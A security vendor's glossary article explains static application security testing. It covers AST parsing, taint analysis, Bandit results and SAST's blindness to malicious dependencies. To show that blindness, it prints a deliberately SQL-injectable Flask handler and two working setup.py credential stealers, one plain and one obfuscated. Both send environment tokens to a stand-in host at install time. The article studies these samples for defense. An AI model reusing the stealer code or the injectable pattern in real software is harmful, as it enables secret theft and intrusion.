# Static Application Security Testing (SAST)

> SAST analyzes source code, bytecode, or binaries for security flaws without running the program, by matching patterns and tracing untrusted data to sinks.

Also known as: static code analysis, source code analysis

Source: https://socket.dev/glossary/static-application-security-testing

Last updated: 2026-11-04

Static application security testing (SAST), also called static code analysis, is the analysis of an application's source code, bytecode, or binaries for security flaws without running it. A SAST tool parses code into a syntax tree, then matches patterns or traces untrusted input to dangerous sinks such as SQL queries. SAST finds bugs you wrote, not malicious code you installed.

That last sentence is the one most SAST explainers leave out. SAST is very good at a narrow and important job: catching injection-class mistakes in first-party code before they merge. The two weaknesses at the top of [MITRE's 2025 CWE Top 25](https://cwe.mitre.org/top25/archive/2025/2025_cwe_top25.html), cross-site scripting and SQL injection, are textbook SAST targets. But every SAST engine is an approximation of an undecidable problem, so it trades false positives against false negatives. SAST also has no model of the supply chain attack: a dependency whose author is the attacker, whose code runs during install, before the SAST step ever starts. Our position is simple. Run SAST for precision on your own code, and do not count it as supply chain coverage.

## What is SAST?

SAST is a white-box test: the tool reads the program instead of executing it. It sits alongside dynamic testing and composition analysis under the broader heading of [application security testing](https://socket.dev/glossary/application-security-testing-ast).

A SAST engine takes one of three inputs. Source code is the most common, because findings can point at a file and line. Bytecode (JVM, .NET IL) is useful when the build is reproducible but the source layout is messy. Compiled binaries are the last resort, used for embedded firmware and third-party components shipped without source.

Because SAST needs no running application, it runs anywhere code exists: in the editor, in a pre-commit hook, on the pull request, and as a CI gate. That placement is its main advantage. A finding on a pull request costs the author minutes; the same bug found in production costs an incident.

## How does SAST work?

SAST works in three stages: parse the code into a tree, model how data moves through it, and apply rules to that model. The differences between tools come down to how much of the middle stage they actually do.

### Stage 1: parse

The engine turns text into an abstract syntax tree (AST). Here is a vulnerable Flask handler, and what Python's own parser sees on line 10:

```python
import sqlite3
from flask import Flask, request

app = Flask(__name__)

@app.route("/user")
def get_user():
    name = request.args.get("name")              # source: attacker-controlled
    db = sqlite3.connect("app.db")
    q = f"SELECT * FROM users WHERE name = '{name}'"
    return str(db.execute(q).fetchall())         # sink: SQL execution
```

```text
$ python3 -c "import ast; line = open('app/views.py').read().splitlines()[9].strip(); print(ast.dump(ast.parse(line), indent=1))"
Module(
 body=[
  Assign(
   targets=[
    Name(id='q', ctx=Store())],
   value=JoinedStr(
    values=[
     Constant(value="SELECT * FROM users WHERE name = '"),
     FormattedValue(
      value=Name(id='name', ctx=Load()),
      conversion=-1),
     Constant(value="'")]))])
```

Rules match against these nodes, not against text. That is why a SAST rule is not fooled by whitespace or comments, and why it needs a parser for every language it claims to support.

### Stage 2: model the data flow

Pattern matching on single nodes is cheap and shallow. The stronger technique is taint analysis. The engine labels some expressions as sources (request parameters, environment variables, file reads), some calls as sinks (SQL execution, shell commands, HTML output), and some functions as sanitizers (parameter binding, escaping). It then propagates the taint label through assignments, string operations, and function calls. A finding means a tainted value reached a sink without passing a sanitizer.

> Figure 1. Taint analysis follows the value, not the string. Parameter binding keeps attacker data out of the query text.
>
> Taint analysis on the Flask handler: source, propagation, sink, and the parameterized variant that breaks the flow

Figure 1 traces both versions of the handler. In the vulnerable version, the source `request.args.get("name")` taints `name`; the f-string copies that taint into `q`; no sanitizer sits on the path; `db.execute(q)` is a SQL sink, so the engine reports CWE-89. In the safe version, the same tainted `name` is passed to `db.execute("... name = ?", (name,))`. Parameter binding is modeled as a sanitizer, the query text stays constant, and the engine reports nothing.

Taint analysis inside one function is intraprocedural. Following values across function and module boundaries is interprocedural, and requires a call graph. Interprocedural analysis is where precision comes from, and also where the compute cost and the hard problems live: dynamic dispatch, reflection, callbacks, and framework magic that wires handlers together at runtime.

### Stage 3: apply rules

Rules encode the source-sink-sanitizer triples for each weakness class, usually tagged with a CWE ID. A rule for CWE-89 says, in effect, "tainted string reaches `execute()` without parameter binding." Output is a list of findings with a location, a rule ID, a severity, and often a confidence.

### Pattern matching versus taint tracking, measured

We ran Bandit 1.9.4, a widely used open source Python SAST tool from the PyCQA project, against five small files. Bandit's SQL injection check (B608) is AST pattern matching: it flags strings that look like SQL being built by formatting. It does not trace where the inserted value came from. The results show what that design buys and what it costs.

```text
$ bandit -q -r app t -f custom --msg-template "{relpath}:{line} {test_id} {severity}/{confidence}"
app/views.py:10 B608 MEDIUM/LOW
t/a_const.py:5 B608 MEDIUM/MEDIUM
t/c_indirect.py:4 B608 MEDIUM/LOW
```

| File | What the code does | Actually injectable? | Bandit B608 | Verdict |
| --- | --- | --- | --- | --- |
| app/views.py | f-string with request.args value, passed to execute() | Yes | Flagged | True positive |
| t/a\_const.py | f-string with a module constant TABLE = "users" | No | Flagged | False positive |
| t/b\_param.py | execute("... WHERE name = ?", (value,)) | No | Not flagged | True negative |
| t/c\_indirect.py | Query built by concatenation in a helper function | Yes | Flagged | True positive |
| t/d\_join.py | " ".join(\[...,"'%s'" % value\]) | Yes | Not flagged | False negative |

The constant case is flagged because the pattern matches and nothing proves the value is safe. The `join` case slips through because the formatted fragment `"'%s'"` contains no SQL keyword for the pattern to anchor on. A taint engine would typically resolve both correctly, because it asks where `value` came from rather than what the string looks like. Pattern rules are fast, easy to write, and easy to evade by accident. Taint rules are slower, harder to write, and still approximate.

## Every SAST engine trades false positives for false negatives

Every SAST tool produces false positives or false negatives, because exact static analysis is impossible. [Rice's theorem (1953)](https://www.doi.org/10.1090/S0002-9947-1953-0053041-6) proves that no algorithm can decide any non-trivial behavioral property of arbitrary programs. "Can this input reach this query?" is such a property.

So every engine chooses a direction. An over-approximating analysis assumes a value might be tainted unless it can prove otherwise. It misses little and reports a lot. An under-approximating analysis reports only paths it is confident about. It is quiet and misses real bugs. Tools sit somewhere on that line, and the vendor's choice matters more than the marketing.

The [OWASP Benchmark](https://wiki.owasp.org/index.php/Benchmark) makes the trade-off measurable. Version 1.2 of its Java suite has 2,740 test cases, each a known-vulnerable or known-safe snippet. A tool's score is its true positive rate minus its false positive rate. A tool that flags everything scores 0, and so does one that flags at random.

Noise is not a cosmetic problem. Google's static analysis team, writing in [Communications of the ACM in 2018](https://cacm.acm.org/magazines/2018/4/226371-lessons-from-building-static-analysis-tools-at-google/pdf), reported that "Google developers have a strong bias to ignore static analysis." The team responded by defining an effective false positive as any finding a developer did not act on. Checks shown at code review must stay under 10% effective false positives. As of January 2018, their Tricorder platform ran 146 analyzers under that rule. We think that is the right bar. A rule that cries wolf trains developers to ignore every rule.

Some weaknesses resist SAST entirely. Missing authorization (CWE-862) rose to number 4 in the [2025 CWE Top 25](https://cwe.mitre.org/top25/archive/2025/2025_key_insights.html), which was built from 39,080 CVE records. A missing check has no sink to match. Business logic flaws, broken access control, and misconfigured infrastructure need other tests.

## What is the difference between SAST and DAST?

SAST reads code without running it; DAST attacks the running application from outside. [Dynamic application security testing](https://socket.dev/glossary/dynamic-application-security-testing-dast) sends crafted requests to a deployed app and watches the responses. It needs no source, sees real configuration, and confirms exploitability. It cannot point to a line of code, and it only tests the paths it manages to reach.

Two more approaches fill the gaps. [Interactive application security testing](https://socket.dev/glossary/interactive-application-security-testing-iast) instruments the running app and watches tainted data flow at runtime, which gives SAST-style locations with DAST-style confirmation. [Software composition analysis](https://socket.dev/glossary/software-composition-analysis) ignores your code and inventories your dependencies, matching each version against known vulnerability advisories.

None of the four inspects what a new dependency version does. That is a fifth category: analyzing the published package's code for behavior such as install scripts, network calls, credential access, and obfuscation.

| Aspect | SAST | DAST | IAST | SCA | Package behavior analysis |
| --- | --- | --- | --- | --- | --- |
| Inspects | Your source, bytecode, or binaries | Running app, from outside | Running app, from inside | Dependency manifest and lockfile | Published package contents |
| Runs | Editor, PR, CI | Staging or production | Test or QA runs | PR, CI, registry | Before install, on PR |
| Finds | Injection, unsafe APIs, hardcoded secrets in your code | Exploitable endpoints, misconfiguration | Confirmed tainted flows | Known CVEs in dependency versions | Malicious or risky behavior in dependencies |
| Misses | Logic flaws, runtime config, all dependency behavior | Unreached code, root cause | Code not exercised by tests | Fresh malware, before any advisory exists | Bugs in your own code |
| Cost | Tuning and false positives | Slow, needs a deployed target | Agent overhead, language coverage | Alert volume without reachability | Alerts on legitimate install scripts |

Verdict: use SAST on every pull request for first-party code, tuned for precision. Add DAST against staging for anything internet-facing. Use IAST only if your test suite already exercises most routes. SAST versus SCA is a false choice. SCA and package behavior analysis cover the code SAST never sees, which in a typical application is most of the code that runs.

## Can SAST detect malicious packages?

SAST cannot reliably detect malicious packages, because it is built to find mistakes in code you own, and a [malicious package](https://socket.dev/glossary/malicious-package) is neither a mistake nor code you own. Three assumptions break at once.

**Scope.** SAST scans your repository. Dependencies usually are not in it: `node_modules` and virtual environments are usually gitignored and installed fresh in CI.

**Timing.** Malicious code often executes during installation, before the SAST step runs. Python's pip still executes `setup.py` when it installs from a source distribution or a local directory. A minimal proof:

```python
import os
from setuptools import setup
with open("/tmp/ran-at-install", "w") as f:
    f.write(",".join(k for k in os.environ if "TOKEN" in k or "KEY" in k))
setup(name="colorama-utils", version="0.1.4")
```

```text
$ env -i PATH=/usr/bin:/bin HOME=/tmp NPM_TOKEN=npm_test GH_TOKEN=ghp_test \
    pip install -q --no-cache-dir ./evil3
$ cat /tmp/ran-at-install
NPM_TOKEN,GH_TOKEN
```

The code ran with access to every secret in the environment before the package finished installing. npm has the same exposure through [install scripts](https://socket.dev/glossary/postinstall-scripts), and [npm v12 now ships with install scripts off by default](https://socket.dev/blog/npm-12). As of November 2026, pip 26.2 has no equivalent default. Passing `--only-binary :all:` refuses source builds, at the cost of failing on packages that publish no wheel, and it does nothing about the startup-hook attack below.

**Threat model.** Taint analysis asks whether attacker-controlled input reaches a dangerous sink. In a malicious package the author is the attacker. The exfiltration URL is a constant, not tainted input. Reading environment variables and calling `urlopen` is ordinary code.

We tested that last point with two versions of the same credential stealer, each written as a `setup.py`. The plain version:

```python
import base64, os, json, urllib.request
from setuptools import setup

def _t():
    data = {k: v for k, v in os.environ.items() if "TOKEN" in k or "KEY" in k}
    req = urllib.request.Request("https://collector.example/c",
                                 data=json.dumps(data).encode())
    urllib.request.urlopen(req)

_t()
setup(name="colorama-utils", version="0.1.2")
```

The second version builds the module and function names from strings at runtime, which Bandit cannot resolve:

```python
import os, json
from setuptools import setup

_m = __import__("".join(map(chr, [117,114,108,108,105,98]))+".request", fromlist=["x"])
_d = {k: v for k, v in os.environ.items() if "TOKEN" in k or "KEY" in k}
getattr(_m, "url" + "open")(getattr(_m, "Req" + "uest")(
    "https://collector.example/c", data=json.dumps(_d).encode()))
setup(name="colorama-utils", version="0.1.3")
```

Bandit 1.9.4 found one issue in the plain version and nothing in the obfuscated one:

```text
$ bandit -q -r evil1 evil2 -f custom --msg-template "{relpath}:{line} {test_id} {severity}/{confidence} {msg}"
evil1/setup.py:8 B310 MEDIUM/HIGH Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
```

The one finding warns that `urlopen` might accept a `file:/` URL. It is a correct warning about a different bug. It says nothing about secrets leaving the machine. For context, Bandit reports the same B310 check 6 times, and 1,683 findings in total, in the legitimate setuptools 80.9.0 wheel. Of those, 1,554 are assert warnings (B101); the other 129 include 6 `exec` calls (B102). On a dependency tree, one more medium finding is noise.

Real attacks are harder still. The [LiteLLM 1.107.0 compromise](https://socket.dev/blog/litellm-compromise) in October 2026 shipped no install script at all. Its wheels placed `cook.pth` and `sitecustomize.py` in the environment's library directory, outside the `litellm/` package. Python executes those at interpreter startup, so the stealer ran without the application ever importing LiteLLM. Both files embedded Base64-encoded, zlib-compressed source that decoded to collectors of about 61 KB each. A SAST scan of your repository would never encounter these files. A SAST scan of the installed tree would see a decode-and-execute call, a pattern that also appears in legitimate code.

> Figure 2. Malicious dependency code runs at steps 3 and 4. SAST looks at your repository at steps 1, 2, and 5.
>
> Pipeline timeline showing where SAST, SCA, package behavior analysis, IAST and DAST look, and where malicious dependency code executes

Figure 2 lays out the order of events in a typical pipeline. Step 1, write and commit, is where SAST runs in the editor or a pre-commit hook. Step 2, the pull request, is where SAST scans changed code, SCA checks the manifest, and package behavior analysis can inspect newly added dependency versions. Step 3, dependency install (`pip install` or `npm install`), is where `setup.py` and install scripts execute. Step 4, interpreter start, is where `.pth` and `sitecustomize` hooks execute, as in LiteLLM 1.107.0. Step 5, the CI scan job, runs SAST on the repository only, after steps 3 and 4 have already exposed the environment's secrets. Step 6, test, staging, and production, is where IAST and DAST run. Malicious dependency code runs at steps 3 and 4; SAST looks at your repository at steps 1, 2, and 5.

Detecting this requires analyzing the package itself, version by version, before it installs. Socket does this by inspecting the code in each published package and raising alerts on behavior, such as [Install scripts](https://socket.dev/alerts/installScripts), [Network access](https://socket.dev/alerts/networkAccess), [Environment variable access](https://socket.dev/alerts/envVars), and [Obfuscated code](https://socket.dev/alerts/obfuscatedFile). For LiteLLM 1.107.0, Socket's AI scanner flagged the malicious wheels seven minutes after publication. Behavior signals have their own false positives: plenty of legitimate packages read environment variables or make network calls. The useful signal is the combination, and especially a new behavior appearing in a patch release of a package that never had it.

## SAST techniques now drive dependency triage

The most useful idea in SAST, the interprocedural call graph, has moved into SCA. [Reachability analysis](https://socket.dev/glossary/reachability-analysis) builds a call graph across your code and your dependencies, then asks whether any path reaches the vulnerable function named in an advisory. A CVE in a function you never call is not urgent, whatever its CVSS score.

Socket's [Tier 1 reachability](https://socket.dev/blog/introducing-tier-1-reachability) applies per-language static analysis to the application and its dependencies, and its September 2025 launch post reported filtering out about 80% of vulnerabilities as irrelevant. It inherits SAST's trade-offs. Full analysis costs minutes of compute on large projects. Dynamic features such as reflection and runtime property writes can hide call edges. Socket's analysis marks uncertain cases as reachable or unknown rather than unreachable, accepting false positives to avoid missing a real path. That is the right default for triage: severity scores rank how bad a bug could be, and reachability tells you whether you can be hit by it.

## Security scanners are part of your supply chain

Any scanner in CI, SAST included, reads your source code, often with a repository token in its environment. That makes the scanner a high-value dependency in its own right. Attackers have noticed. In March 2026, the [Trivy GitHub Actions tag compromise](https://socket.dev/blog/trivy-under-attack-again-github-actions-compromise) force-pushed 75 of the 76 version tags of `aquasecurity/trivy-action`, so pipelines running a routine vulnerability scan executed a secret stealer. The following month, the [Checkmarx KICS compromise](https://socket.dev/blog/checkmarx-supply-chain-compromise) put trojanized images of that infrastructure-as-code static analysis scanner on Docker Hub. Both have been linked to [TeamPCP's campaign against security tools](https://socket.dev/blog/teampcp-targeting-security-tools-across-oss-ecosystem).

The controls are the same ones that apply to any [GitHub Actions](https://socket.dev/glossary/github-actions-security) dependency. Pin the scanner action to a full commit SHA or a workflow lockfile, not a tag. Give the scan job a read-only token and no publishing credentials. Run it in a job separate from release. None of this is complete: a pinned SHA proves the code did not change, not that it was safe when you pinned it. A cooldown before adopting new scanner releases buys time for someone else to notice.

## Where SAST earns its place

SAST is worth running, and worth running well. Keep the rule set small and precise enough that developers act on what it reports. Gate pull requests on high-confidence taint findings for [SQL injection](https://socket.dev/glossary/sql-injection), command injection, path traversal, and deserialization, and send the rest to a backlog someone actually reads. Measure effective false positives the way Google does, by whether people fix what they see.

Then be honest about the boundary. SAST answers "did we write a vulnerable path?" In a typical application, much of the code that executes, often most of it, was written by someone else and fetched by a package manager minutes before the build. The open problem is that the line between our code and their code no longer maps to a directory in the repository. Analysis has to follow the code to wherever it runs, including the moment `pip install` hands it your environment.
